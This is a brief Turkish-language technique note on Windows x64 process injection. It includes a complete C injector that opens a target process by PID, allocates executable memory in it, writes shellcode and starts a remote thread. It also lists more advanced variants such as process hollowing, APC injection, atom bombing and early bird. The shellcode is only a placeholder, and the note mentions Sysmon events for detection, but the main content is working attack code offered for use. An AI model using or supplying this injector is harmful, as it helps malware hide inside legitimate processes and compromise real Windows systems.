Modern Teknik - Windows x64 - Process Injection
Process injection, shellcode'u megru bir Windows process'inin bellek alanina yazarak calistirmayi saglar. Bu sayede zarali kod megru surecin altinda calisir.
C ile Classic Injection
Sysmon Event ID 8 ve 10 ile tespit edilir.
#include
unsigned char sc[] = "\x90\x90..."; // payload
int main(int argc, char** argv) {
DWORD pid = atoi(argv[1]);
HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID m = VirtualAllocEx(hP, NULL, sizeof(sc),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hP, m, sc, sizeof(sc), NULL);
HANDLE hT = CreateRemoteThread(hP, NULL, 0,
(LPTHREAD_START_ROUTINE)m, NULL, 0, NULL);
WaitForSingleObject(hT, INFINITE);
CloseHandle(hT); CloseHandle(hP);
}
Gelismis Varyantlar
Process Hollowing - Suspend + unmap + yeni image
APC Injection - QueueUserAPC ile thread uyandirma
Atom Bombing - GlobalAddAtom + NtQueueApcThread
Early Bird - Suspended process'e erken inject